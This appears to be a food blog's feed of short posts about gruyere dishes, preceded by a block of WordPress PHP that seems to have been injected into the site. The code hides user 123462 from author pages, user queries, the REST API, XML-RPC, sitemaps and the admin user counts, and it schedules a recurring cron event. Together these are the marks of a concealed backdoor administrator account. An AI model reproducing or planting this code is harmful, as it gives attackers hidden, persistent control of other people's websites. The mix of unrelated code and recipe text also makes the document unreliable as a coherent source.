add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Poached Egg On A Scone Topped With Gruyere Cheese first appeared on Damn That Looks Good.
]]>
Photo courtesy of Flickr.
The post Poached Egg On A Scone Topped With Gruyere Cheese first appeared on Damn That Looks Good.
]]>The post Gruyere & Ham Croissant first appeared on Damn That Looks Good.
]]>
Photo courtesy of Flickr.
The post Gruyere & Ham Croissant first appeared on Damn That Looks Good.
]]>The post Krispy Kreme Doughnut Croque Madame first appeared on Damn That Looks Good.
]]>
Photo courtesy of Willow Bird Baking.
The post Krispy Kreme Doughnut Croque Madame first appeared on Damn That Looks Good.
]]>The post Lobster & Bacon Mac & Cheese first appeared on Damn That Looks Good.
]]>
Photo courtesy of Danny’s Kitchen.
The post Lobster & Bacon Mac & Cheese first appeared on Damn That Looks Good.
]]>The post The Southern Belle first appeared on Damn That Looks Good.
]]>
A burger patty topped with Wisconsin gruyere cheese, BBQ sauce, pickle spears, onions, and pepper coleslaw, on grilled sourdough.
Photo courtesy of Cheese & Burger.
The post The Southern Belle first appeared on Damn That Looks Good.
]]>The post The Roadhouse first appeared on Damn That Looks Good.
]]>
A burger patty topped with Wisconsin gruyere cheese, caramelized onions, bacon, onion rings, and garlic mayo, on a toasted onion roll.
Photo courtesy of Cheese & Burger.
The post The Roadhouse first appeared on Damn That Looks Good.
]]>The post Rainy Day Comfort Food first appeared on Damn That Looks Good.
]]>
Oven fried chicken served with macaroni and cheese made with sharp cheddar, fontina and gruyere, and steamed broccoli.
Thanks to Scottie for the photo!
McKinleyville, California
The post Rainy Day Comfort Food first appeared on Damn That Looks Good.
]]>The post Three Cheese Pasta Bake first appeared on Damn That Looks Good.
]]>
Penne smothered in gruyere, parmesan, and romano cheeses.
The post Three Cheese Pasta Bake first appeared on Damn That Looks Good.
]]>The post The New Orleans first appeared on Damn That Looks Good.
]]>
Get ready for Mardi Gras in your mouth. This mouthwatering mound of cheeseburger deliciousness doesn’t hold back a thing when it comes to flavor. It features a Creole mustard-smothered French roll packed high with fried shrimp, Wisconsin gruyère cheese, lettuce, tomatoes, onions, and pickles.
Photo courtesy of Cheese & Burger.
The post The New Orleans first appeared on Damn That Looks Good.
]]>The post Pork Roll Sandwich From The Publican first appeared on Damn That Looks Good.
]]>
Pork roll sandwich with sweet onions, gruyere cheese, pickles & a fried egg.
The post Pork Roll Sandwich From The Publican first appeared on Damn That Looks Good.
]]>